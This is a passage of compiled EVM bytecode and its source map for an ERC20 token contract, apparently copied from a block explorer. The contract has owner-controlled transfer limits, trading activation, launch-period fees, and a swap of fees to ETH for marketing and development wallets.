0612608565b6001600160a01b0381166115425760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161082a565b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166116005760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161082a565b6001600160a01b0382166116615760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161082a565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b806000036116d757610c5d83836000611e2e565b6005546001600160a01b0384811691161480159061170357506005546001600160a01b03838116911614155b80156117185750600e5462010000900460ff16155b1561196a57600e5460ff166117ab576001600160a01b03831660009081526015602052604090205460ff168061176657506001600160a01b03821660009081526015602052604090205460ff165b6117ab5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b604482015260640161082a565b6001600160a01b03831660009081526018602052604090205460ff1680156117ec57506001600160a01b03821660009081526016602052604090205460ff16155b1561184857600a548111156118435760405162461bcd60e51b815260206004820152601c60248201527f627579207472616e73666572206f766572206d617820616d6f756e7400000000604482015260640161082a565b6118e0565b6001600160a01b03821660009081526018602052604090205460ff16801561188957506001600160a01b03831660009081526016602052604090205460ff16155b156118e057600b548111156118e05760405162461bcd60e51b815260206004820152601d60248201527f53656c6c207472616e73666572206f766572206d617820616d6f756e74000000604482015260640161082a565b6001600160a01b03821660009081526017602052604090205460ff1661196a57600c546001600160a01b038316600090815260208190526040902054611926908361274c565b111561196a5760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b604482015260640161082a565b30600090815260208190526040902054600d54811080159081906119955750600e54610100900460ff165b80156119aa5750600e5462010000900460ff16155b80156119ce57506001600160a01b03841660009081526018602052604090205460ff165b80156119f357506001600160a01b03851660009081526015602052604090205460ff16155b8015611a1857506001600160a01b03841660009081526015602052604090205460ff16155b15611a4357600e805462ff0000191662010000179055611a36611eeb565b600e805462ff0000191690555b600e546001600160a01b03861660009081526015602052604090205460ff62010000909204821615911680611a9057506001600160a01b03851660009081526015602052604090205460ff165b15611a99575060005b8015611d55576000601454431015611b2e57611acb6064611ac5600f548861214390919063ffffffff16565b906121c5565b90506063611ada82605e612735565b611ae49190612713565b60116000828254611af5919061274c565b9091555060639050611b08826005612735565b611b129190612713565b60136000828254611b23919061274c565b90915550611d369050565b6001600160a01b03861660009081526018602052604090205460ff168015611b625750601054640100000000900460ff1615155b15611c3857601054611b8790606490611ac5908890640100000000900460ff16612143565b60105490915060ff6401000000008204811691611bad91600160381b9091041683612735565b611bb79190612713565b60126000828254611bc8919061274c565b909155505060105460ff6401000000008204811691611bf291650100000000009091041683612735565b611bfc9190612713565b60116000828254611c0d919061274c565b909155505060105460ff6401000000008204811691611b089166010000000000009091041683612735565b6001600160a01b03871660009081526018602052604090205460ff168015611c64575060105460ff1615155b15611d3657601054611c8190606490611ac590889060ff16612143565b60105490915060ff80821691611ca09163010000009091041683612735565b611caa9190612713565b60126000828254611cbb919061274c565b909155505060105460ff80821691611cda916101009091041683612735565b611ce49190612713565b60116000828254611cf5919061274c565b909155505060105460ff80821691611d1591620100009091041683612735565b611d1f9190612713565b60136000828254611d30919061274c565b90915550505b8015611d4757611d47873083611e2e565b611d51818661277c565b9450505b611d60868686611e2e565b505050505050565b60008184841115611d8c5760405162461bcd60e51b815260040161082a9190612468565b506000611d99848661277c565b95945050505050565b6001600160a01b038316611db557600080fd5b6001600160a01b03821661166157600080fd5b600080611dd5838561274c565b905083811015611e275760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161082a565b9392505050565b611e6b8160405180606001604052806026815260200161283c602691396001600160a01b0386166000908152602081905260409020549190611d68565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611e9a9082611dc8565b6001600160a01b038381166000818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016116b6565b3060009081526020819052604081205490506000601354601154601254611f12919061274c565b611f1c919061274c565b90506000821580611f2b575081155b15611f3557505050565b600d54611f43906014612735565b831115611f5b57600d54611f58906014612735565b92505b600060028360125486611f6e9190612735565b611f789190612713565b611f829190612713565b6009546001600160a01b0316600090815260208190526040812054919250611fb4611fad838561277c565b8790612207565b905047611fc082612249565b6000611fcc4783612207565b90506000611fe988611ac56011548561214390919063ffffffff16565b9050600061200689611ac56013548661214390919063ffffffff16565b90506000612014828461274c565b61201e908561277c565b6000601281905560118190556013559050871580159061203e5750600081115b156120875761204d888261239b565b60408051878152602081018390527f28fc98272ce761178794ad6768050fea1648e07f1e2ffe15afd3a290f8381486910160405180910390a15b6008546001600160a01b031661209d844761277c565b604051600081818185875af1925050503d80600081146120d9576040519150601f19603f3d011682016040523d82523d6000602084013e6120de565b606091505b5050600954604051919a506001600160a01b0316904790600081818185875af1925050503d806000811461212e576040519150601f19603f3d011682016040523d82523d6000602084013e612133565b606091505b5050505050505050505050505050565b60008260000361215557506000610d05565b60006121618385612735565b90508261216e8583612713565b14611e275760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161082a565b6000611e2783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061243a565b6000611e2783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d68565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061227e5761227e61278f565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156122d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122fb919061263d565b8160018151811061230e5761230e61278f565b6001600160a01b039283166020918202929092010152600654612334913091168461159e565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac9479061236d9085906000908690309042906004016127a5565b600060405180830381600087803b15801561238757600080fd5b505af1158015611d60573d6000803e3d6000fd5b6006546123b39030906001600160a01b03168461159e565b60065460405163f305d71960e01b81526001600160a01b039091169063f305d7199083906123f0903090879060009081908490429060040161265a565b60606040518083038185885af115801561240e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906124339190612695565b5050505050565b6000818361245b5760405162461bcd60e51b815260040161082a9190612468565b506000611d998486612713565b600060208083528351808285015260005b8181101561249557858101830151858201604001528201612479565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146124cb57600080fd5b50565b600080604083850312156124e157600080fd5b82356124ec816124b6565b946020939093013593505050565b60006020828403121561250c57600080fd5b8135611e27816124b6565b6000806040838503121561252a57600080fd5b50508035926020909101359150565b60008060006060848603121561254e57600080fd5b8335612559816124b6565b92506020840135612569816124b6565b929592945050506040919091013590565b60006020828403121561258c57600080fd5b5035919050565b80151581146124cb57600080fd5b600080604083850312156125b457600080fd5b82356125bf816124b6565b915060208301356125cf81612593565b809150509250929050565b600080604083850312156125ed57600080fd5b82356125f8816124b6565b915060208301356125cf816124b6565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561264f57600080fd5b8151611e27816124b6565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b6000806000606084860312156126aa57600080fd5b8351925060208401519150604084015190509250925092565b600181811c908216806126d757607f821691505b6020821081036126f757634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b60008261273057634e487b7160e01b600052601260045260246000fd5b500490565b8082028115828204841417610d0557610d056126fd565b80820180821115610d0557610d056126fd565b60006020828403121561277157600080fd5b8151611e2781612593565b81810381811115610d0557610d056126fd565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156127f55784516001600160a01b0316835293830193918301916001016127d0565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a206465637265617365642063616e6e6f742062652062656c6f77207a65726f45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207f334646aab82fe292d0681b48c9f1f976cb78c86f8d8ec6a38b5e79444bce0564736f6c63430008130033

Deployed Bytecode Sourcemap

14451:13076:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;17583:1408;;;:::i;:::-;;1955:99;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2902:168;;;;;;;;;;-1:-1:-1;2902:168:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;2902:168:0;1023:187:1;15845:63:0;;;;;;;;;;-1:-1:-1;15845:63:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;19479:458;;;;;;;;;;-1:-1:-1;19479:458:0;;;;;:::i;:::-;;:::i;2289:107::-;;;;;;;;;;-1:-1:-1;2376:12:0;;2289:107;;;1866:25:1;;;1854:2;1839:18;2289:107:0;1720:177:1;15627:33:0;;;;;;;;;;;;;;;;15587;;;;;;;;;;;;;;;;3084:354;;;;;;;;;;-1:-1:-1;3084:354:0;;;;;:::i;:::-;;:::i;20863:195::-;;;;;;;;;;-1:-1:-1;20863:195:0;;;;;:::i;:::-;;:::i;2184:92::-;;;;;;;;;;-1:-1:-1;2184:92:0;;2266:2;2505:36:1;;2493:2;2478:18;2184:92:0;2363:184:1;3452:217:0;;;;;;;;;;-1:-1:-1;3452:217:0;;;;;:::i;:::-;;:::i;14566:28::-;;;;;;;;;;-1:-1:-1;14566:28:0;;;;-1:-1:-1;;;;;14566:28:0;;;;;;-1:-1:-1;;;;;2716:32:1;;;2698:51;;2686:2;2671:18;14566:28:0;2552:203:1;21329:125:0;;;;;;;;;;-1:-1:-1;21329:125:0;;;;;:::i;:::-;-1:-1:-1;;;;;21418:28:0;21394:4;21418:28;;;:19;:28;;;;;;;;;21329:125;19311:158;;;;;;;;;;-1:-1:-1;19311:158:0;;;;;:::i;:::-;;:::i;14928:31::-;;;;;;;;;;-1:-1:-1;14928:31:0;;;;;;;;;;;2410:126;;;;;;;;;;-1:-1:-1;2410:126:0;;;;;:::i;:::-;-1:-1:-1;;;;;2510:18:0;2483:7;2510:18;;;;;;;;;;;;2410:126;7426:148;;;;;;;;;;;;;:::i;27303:221::-;;;;;;;;;;;;;:::i;20524:144::-;;;;;;;;;;-1:-1:-1;20524:144:0;;;;;:::i;:::-;;:::i;19096:145::-;;;;;;;;;;;;;:::i;21186:135::-;;;;;;;;;;-1:-1:-1;21186:135:0;;;;;:::i;:::-;;:::i;7122:78::-;;;;;;;;;;-1:-1:-1;7186:6:0;;-1:-1:-1;;;;;7186:6:0;7122:78;;2067:103;;;;;;;;;;;;;:::i;15915:58::-;;;;;;;;;;-1:-1:-1;15915:58:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;21066:112;;;;;;;;;;-1:-1:-1;21066:112:0;;;;;:::i;:::-;;:::i;15667:27::-;;;;;;;;;;;;;;;;3683:268;;;;;;;;;;-1:-1:-1;3683:268:0;;;;;:::i;:::-;;:::i;2550:174::-;;;;;;;;;;-1:-1:-1;2550:174:0;;;;;:::i;:::-;;:::i;14966:22::-;;;;;;;;;;-1:-1:-1;14966:22:0;;;;;;;;;;;20230:132;;;;;;;;;;-1:-1:-1;20230:132:0;;;;;:::i;:::-;;:::i;20678:177::-;;;;;;;;;;-1:-1:-1;20678:177:0;;;;;:::i;:::-;;:::i;19947:271::-;;;;;;;;;;-1:-1:-1;19947:271:0;;;;;:::i;:::-;;:::i;15315:251::-;;;;;;;;;;-1:-1:-1;15315:251:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;15315:251:0;;;;;;;;;3776:4:1;3807:15;;;3789:34;;3859:15;;;3854:2;3839:18;;3832:43;3911:15;;;3891:18;;;3884:43;;;;3963:15;;;3958:2;3943:18;;3936:43;4016:15;;;4010:3;3995:19;;3988:44;4069:15;;4063:3;4048:19;;4041:44;4122:15;;4116:3;4101:19;;4094:44;4175:15;;;4169:3;4154:19;;4147:44;3753:3;3738:19;15315:251:0;3455:742:1;2738:150:0;;;;;;;;;;-1:-1:-1;2738:150:0;;;;;:::i;:::-;-1:-1:-1;;;;;2853:18:0;;;2826:7;2853:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;2738:150;20370:146;;;;;;;;;;-1:-1:-1;20370:146:0;;;;;:::i;:::-;;:::i;7588:244::-;;;;;;;;;;-1:-1:-1;7588:244:0;;;;;:::i;:::-;;:::i;16131:42::-;;;;;;;;;;-1:-1:-1;16131:42:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;14527:32;;;;;;;;;;-1:-1:-1;14527:32:0;;;;-1:-1:-1;;;;;14527:32:0;;;17583:1408;7333:6;;-1:-1:-1;;;;;7333:6:0;1468:10;7333:22;7325:67;;;;-1:-1:-1;;;7325:67:0;;;;;;;:::i;:::-;;;;;;;;;17639:6:::1;:71:::0;;-1:-1:-1;;;;;;17639:71:0::1;17667:42;17639:71:::0;;::::1;::::0;;;17757:16:::1;::::0;;-1:-1:-1;;;17757:16:0;;;;:14:::1;::::0;:16:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;17667:42;17757:16:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;17739:46:0::1;;17794:4;17801:6;;;;;;;;;-1:-1:-1::0;;;;;17801:6:0::1;-1:-1:-1::0;;;;;17801:11:0::1;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17739:76;::::0;-1:-1:-1;;;;;;17739:76:0::1;::::0;;;;;;-1:-1:-1;;;;;5677:15:1;;;17739:76:0::1;::::0;::::1;5659:34:1::0;5729:15;;5709:18;;;5702:43;5594:18;;17739:76:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17723:13;:92:::0;;-1:-1:-1;;;;;17723:92:0;;::::1;-1:-1:-1::0;;;;;;17723:92:0;;::::1;;::::0;;17868:6:::1;::::0;;::::1;17723:13;17828:48:::0;;;:31:::1;:48;::::0;;;;;;;:55;;-1:-1:-1;;17828:55:0;;::::1;17723:92:::0;17828:55;;::::1;::::0;;;17934:13;;;;::::1;17894:55:::0;;;;:62;;;;::::1;::::0;::::1;::::0;;;18007:7:::1;7186:6:::0;;-1:-1:-1;;;;;7186:6:0;;7122:78;18007:7:::1;-1:-1:-1::0;;;;;17975:40:0;;::::1;::::0;;::::1;::::0;;::::1;::::0;;;;;;;;-1:-1:-1;17975:40:0;;;:47;;;::::1;;-1:-1:-1::0;;17975:47:0;;::::1;;::::0;;18073:4:::1;18033:46:::0;;:31:::1;:46:::0;;;;;;:53;;;::::1;17975:47:::0;18033:53;;::::1;::::0;;;18131:15:::1;::::0;;::::1;18099:48:::0;;;;;:55;;;::::1;::::0;::::1;::::0;;18197:9:::1;::::0;;;::::1;18165:42:::0;;;;;:49;;;;::::1;::::0;::::1;::::0;;;18227:19:::1;::::0;18247:7:::1;7186:6:::0;;-1:-1:-1;;;;;7186:6:0;;7122:78;18247:7:::1;-1:-1:-1::0;;;;;18227:28:0;;::::1;::::0;;::::1;::::0;;::::1;::::0;;;;;;;;-1:-1:-1;18227:28:0;;;:35;;;::::1;;-1:-1:-1::0;;18227:35:0;;::::1;;::::0;;18301:4:::1;18273:34:::0;;:19:::1;:34:::0;;;;;;:41;;;::::1;18227:35:::0;18273:41;;::::1;::::0;;;18347:15:::1;::::0;;::::1;18327:36:::0;;;;;:43;;;::::1;::::0;::::1;::::0;;18401:9:::1;::::0;;;::::1;18381:30:::0;;;;;:37;;;;::::1;::::0;::::1;::::0;;;18431:26:::1;::::0;18458:7:::1;7186:6:::0;;-1:-1:-1;;;;;7186:6:0;;7122:78;18458:7:::1;-1:-1:-1::0;;;;;18431:35:0;;::::1;::::0;;::::1;::::0;;::::1;::::0;;;;;;;;-1:-1:-1;18431:35:0;;;:42;;;::::1;;-1:-1:-1::0;;18431:42:0;;::::1;;::::0;;18527:4:::1;18492:41:::0;;;:26:::1;:41:::0;;;;;:48;;;::::1;18431:42:::0;18492:48;;::::1;::::0;;;18586:13:::1;::::0;;;::::1;18551:50:::0;;;;;:57;;;::::1;::::0;::::1;::::0;;18648:15:::1;::::0;;::::1;18621:43:::0;;;;;:50;;;::::1;::::0;::::1;::::0;;18709:9:::1;::::0;;::::1;18682:37:::0;;;;;:44;;;::::1;::::0;::::1;::::0;;18765:13;;::::1;18746:34:::0;;:10:::1;:34:::0;;;;;;:41;;;;::::1;::::0;;::::1;::::0;;;18832:6:::1;::::0;18800:59:::1;::::0;18527:4;18832:6:::1;-1:-1:-1::0;;18800:8:0::1;:59::i;:::-;18872:6;::::0;-1:-1:-1;;;;;18872:6:0::1;:22;18902:9;18921:4;18927:24;18921:4:::0;-1:-1:-1;;;;;2510:18:0;2483:7;2510:18;;;;;;;;;;;;2410:126;18927:24:::1;18952:1;18954::::0;18956:10:::1;18967:15;18872:111;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;17583:1408::o:0;1955:99::-;2008:13;2041:5;2034:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1955:99;:::o;2902:168::-;2984:4;3001:39;1468:10;3024:7;3033:6;3001:8;:39::i;:::-;-1:-1:-1;3058:4:0;2902:168;;;;;:::o;19479:458::-;7333:6;;-1:-1:-1;;;;;7333:6:0;1468:10;7333:22;7325:67;;;;-1:-1:-1;;;7325:67:0;;;;;;;:::i;:::-;19641:3:::1;19625:13;2376:12:::0;;;2289:107;19625:13:::1;:19;;;;:::i;:::-;19615:4;19602:9;19586:13;2376:12:::0;;;2289:107;19586:13:::1;:25;;;;:::i;:::-;19585:34;;;;:::i;:::-;19584:61;;19576:109;;;::::0;-1:-1:-1;;;19576:109:0;;7793:2:1;19576:109:0::1;::::0;::::1;7775:21:1::0;7832:2;7812:18;;;7805:30;7871:34;7851:18;;;7844:62;-1:-1:-1;;;7922:18:1;;;7915:33;7965:19;;19576:109:0::1;7591:399:1::0;19576:109:0::1;19762:3;19746:13;2376:12:::0;;;2289:107;19746:13:::1;:19;;;;:::i;:::-;19736:4;19722:10;19706:13;2376:12:::0;;;2289:107;19706:13:::1;:26;;;;:::i;:::-;19705:35;;;;:::i;:::-;19704:62;;19696:111;;;::::0;-1:-1:-1;;;19696:111:0;;8197:2:1;19696:111:0::1;::::0;::::1;8179:21:1::0;8236:2;8216:18;;;8209:30;8275:34;8255:18;;;8248:62;-1:-1:-1;;;8326:18:1;;;8319:34;8370:19;;19696:111:0::1;7995:400:1::0;19696:111:0::1;19863:4;19850:9;19834:13;2376:12:::0;;;2289:107;19834:13:::1;:25;;;;:::i;:::-;19833:34;;;;:::i;:::-;19818:12;:49:::0;19925:4:::1;19911:10:::0;19895:13:::1;2376:12:::0;;;2289:107;19895:13:::1;:26;;;;:::i;:::-;19894:35;;;;:::i;:::-;19878:13;:51:::0;-1:-1:-1;;19479:458:0:o;3084:354::-;3223:4;3240:36;3250:6;3258:9;3269:6;3240:9;:36::i;:::-;3287:121;3296:6;1468:10;3318:89;3356:6;3318:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;3318:19:0;;;;;;:11;:19;;;;;;;;1468:10;3318:33;;;;;;;;;;:37;:89::i;:::-;3287:8;:121::i;:::-;-1:-1:-1;3426:4:0;3084:354;;;;;:::o;20863:195::-;20968:9;;20935:4;;-1:-1:-1;;;;;20968:9:0;20988:30;20995:7;20968:9;21011:6;20988;:30::i;3452:217::-;1468:10;3539:4;3588:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;3588:34:0;;;;;;;;;;3539:4;;3556:83;;3579:7;;3588:50;;3627:10;3588:38;:50::i;19311:158::-;7333:6;;19392:4;;-1:-1:-1;;;;;7333:6:0;1468:10;7333:22;7325:67;;;;-1:-1:-1;;;7325:67:0;;;;;;;:::i;:::-;-1:-1:-1;19408:19:0::1;:31:::0;19457:4:::1;::::0;19311:158::o;7426:148::-;7333:6;;-1:-1:-1;;;;;7333:6:0;1468:10;7333:22;7325:67;;;;-1:-1:-1;;;7325:67:0;;;;;;;:::i;:::-;7517:6:::1;::::0;7496:40:::1;::::0;7533:1:::1;::::0;-1:-1:-1;;;;;7517:6:0::1;::::0;7496:40:::1;::::0;7533:1;;7496:40:::1;7547:6;:19:::0;;-1:-1:-1;;;;;;7547:19:0::1;::::0;;7426:148::o;27303:221::-;7333:6;;27355:4;;-1:-1:-1;;;;;7333:6:0;1468:10;7333:22;7325:67;;;;-1:-1:-1;;;7325:67:0;;;;;;;:::i;:::-;2376:12;;27382::::1;:28:::0;2376:12;;27421:13:::1;:29:::0;2376:12;;27461:15:::1;:31:::0;-1:-1:-1;27512:4:0::1;27303:221:::0;:::o;20524:144::-;7333:6;;-1:-1:-1;;;;;7333:6:0;1468:10;7333:22;7325:67;;;;-1:-1:-1;;;7325:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;20614:39:0;;;::::1;;::::0;;;:31:::1;:39;::::0;;;;:46;;-1:-1:-1;;20614:46:0::1;::::0;::::1;;::::0;;;::::1;::::0;;20524:144::o;19096:145::-;7333:6;;-1:-1:-1;;;;;7333:6:0;1468:10;7333:22;7325:67;;;;-1:-1:-1;;;7325:67:0;;;;;;;:::i;:::-;19151:9:::1;:16:::0;;-1:-1:-1;;19178:18:0;;;;;19217:16:::1;:12;19232:1;19217:16;:::i;:::-;19207:7;:26:::0;19096:145::o;21186:135::-;7333:6;;-1:-1:-1;;;;;7333:6:0;1468:10;7333:22;7325:67;;;;-1:-1:-1;;;7325:67:0;;;;;;;:::i;:::-;21278:8:::1;-1:-1:-1::0;;;;;21271:25:0::1;;21297:7;7186:6:::0;;-1:-1:-1;;;;;7186:6:0;;7122:78;21297:7:::1;21271:42;::::0;-1:-1:-1;;;;;;21271:42:0::1;::::0;;;;;;-1:-1:-1;;;;;8722:32:1;;;21271:42:0::1;::::0;::::1;8704:51:1::0;8771:18;;;8764:34;;;8677:18;;21271:42:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;2067:103::-:0;2122:13;2155:7;2148:14;;;;;:::i;21066:112::-;7333:6;;-1:-1:-1;;;;;7333:6:0;1468:10;7333:22;7325:67;;;;-1:-1:-1;;;7325:67:0;;;;;;;:::i;:::-;7186:6;;21134:36:::1;::::0;-1:-1:-1;;;;;7186:6:0;;;;21134:36;::::1;;;::::0;21160:9;;21134:36:::1;::::0;;;21160:9;7186:6;21134:36;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;21066:112:::0;:::o;3683:268::-;3775:4;3792:129;1468:10;3815:7;3824:96;3863:15;3824:96;;;;;;;;;;;;;;;;;1468:10;3824:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;3824:34:0;;;;;;;;;;;;:38;:96::i;2550:174::-;2635:4;2652:42;1468:10;2676:9;2687:6;2652:9;:42::i;20230:132::-;7333:6;;-1:-1:-1;;;;;7333:6:0;1468:10;7333:22;7325:67;;;;-1:-1:-1;;;7325:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;20315:28:0;;;::::1;;::::0;;;:19:::1;:28;::::0;;;;:39;;-1:-1:-1;;20315:39:0::1;::::0;::::1;;::::0;;;::::1;::::0;;20230:132::o;20678:177::-;7333:6;;-1:-1:-1;;;;;7333:6:0;1468:10;7333:22;7325:67;;;;-1:-1:-1;;;7325:67:0;;;;;;;:::i;:::-;20771:13:::1;::::0;-1:-1:-1;;;;;20771:13:0;;::::1;20763:21:::0;;::::1;::::0;20755:57:::1;;;::::0;-1:-1:-1;;;20755:57:0;;9261:2:1;20755:57:0::1;::::0;::::1;9243:21:1::0;9300:2;9280:18;;;9273:30;9339:25;9319:18;;;9312:53;9382:18;;20755:57:0::1;9059:347:1::0;20755:57:0::1;-1:-1:-1::0;;;;;20823:16:0;;;::::1;;::::0;;;:10:::1;:16;::::0;;;;:24;;-1:-1:-1;;20823:24:0::1;::::0;::::1;;::::0;;;::::1;::::0;;20678:177::o;19947:271::-;7333:6;;-1:-1:-1;;;;;7333:6:0;1468:10;7333:22;7325:67;;;;-1:-1:-1;;;7325:67:0;;;;;;;:::i;:::-;20100:3:::1;20084:13;2376:12:::0;;;2289:107;20084:13:::1;:19;;;;:::i;:::-;20074:4;20057:13;20041;2376:12:::0;;;2289:107;20041:13:::1;:29;;;;:::i;:::-;20040:38;;;;:::i;:::-;20039:65;;20031:112;;;::::0;-1:-1:-1;;;20031:112:0;;9613:2:1;20031:112:0::1;::::0;::::1;9595:21:1::0;9652:2;9632:18;;;9625:30;9691:34;9671:18;;;9664:62;-1:-1:-1;;;9742:18:1;;;9735:32;9784:19;;20031:112:0::1;9411:398:1::0;20031:112:0::1;20206:4;20189:13;20173;2376:12:::0;;;2289:107;20173:13:::1;:29;;;;:::i;:::-;20172:38;;;;:::i;:::-;20154:15;:56:::0;-1:-1:-1;19947:271:0:o;20370:146::-;7333:6;;-1:-1:-1;;;;;7333:6:0;1468:10;7333:22;7325:67;;;;-1:-1:-1;;;7325:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;20462:35:0;;;::::1;;::::0;;;:26:::1;:35;::::0;;;;:46;;-1:-1:-1;;20462:46:0::1;::::0;::::1;;::::0;;;::::1;::::0;;20370:146::o;7588:244::-;7333:6;;-1:-1:-1;;;;;7333:6:0;1468:10;7333:22;7325:67;;;;-1:-1:-1;;;7325:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7677:22:0;::::1;7669:73;;;::::0;-1:-1:-1;;;7669:73:0;;10016:2:1;7669:73:0::1;::::0;::::1;9998:21:1::0;10055:2;10035:18;;;10028:30;10094:34;10074:18;;;10067:62;-1:-1:-1;;;10145:18:1;;;10138:36;10191:19;;7669:73:0::1;9814:402:1::0;7669:73:0::1;7779:6;::::0;7758:38:::1;::::0;-1:-1:-1;;;;;7758:38:0;;::::1;::::0;7779:6:::1;::::0;7758:38:::1;::::0;7779:6:::1;::::0;7758:38:::1;7807:6;:17:::0;;-1:-1:-1;;;;;;7807:17:0::1;-1:-1:-1::0;;;;;7807:17:0;;;::::1;::::0;;;::::1;::::0;;7588:244::o;4960:382::-;-1:-1:-1;;;;;5098:19:0;;5090:68;;;;-1:-1:-1;;;5090:68:0;;10423:2:1;5090:68:0;;;10405:21:1;10462:2;10442:18;;;10435:30;10501:34;10481:18;;;10474:62;-1:-1:-1;;;10552:18:1;;;10545:34;10596:19;;5090:68:0;10221:400:1;5090:68:0;-1:-1:-1;;;;;5177:21:0;;5169:68;;;;-1:-1:-1;;;5169:68:0;;10828:2:1;5169:68:0;;;10810:21:1;10867:2;10847:18;;;10840:30;10906:34;10886:18;;;10879:62;-1:-1:-1;;;10957:18:1;;;10950:32;10999:19;;5169:68:0;10626:398:1;5169:68:0;-1:-1:-1;;;;;5250:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;5302:32;;1866:25:1;;;5302:32:0;;1839:18:1;5302:32:0;;;;;;;;4960:382;;;:::o;21462:3259::-;21619:6;21629:1;21619:11;21615:102;;21647:37;21663:6;21671:9;21682:1;21647:15;:37::i;21615:102::-;7186:6;;-1:-1:-1;;;;;21747:17:0;;;7186:6;;21747:17;;;;:54;;-1:-1:-1;7186:6:0;;-1:-1:-1;;;;;21781:20:0;;;7186:6;;21781:20;;21747:54;:82;;;;-1:-1:-1;21819:10:0;;;;;;;21818:11;21747:82;21729:849;;;21863:9;;;;21858:147;;-1:-1:-1;;;;;21901:27:0;;;;;;:19;:27;;;;;;;;;:61;;-1:-1:-1;;;;;;21932:30:0;;;;;;:19;:30;;;;;;;;21901:61;21893:96;;;;-1:-1:-1;;;21893:96:0;;11231:2:1;21893:96:0;;;11213:21:1;11270:2;11250:18;;;11243:30;-1:-1:-1;;;11289:18:1;;;11282:52;11351:18;;21893:96:0;11029:346:1;21893:96:0;-1:-1:-1;;;;;22023:18:0;;;;;;:10;:18;;;;;;;;:65;;;;-1:-1:-1;;;;;;22046:42:0;;;;;;:31;:42;;;;;;;;22045:43;22023:65;22019:360;;;22127:12;;22117:6;:22;;22109:63;;;;-1:-1:-1;;;22109:63:0;;11582:2:1;22109:63:0;;;11564: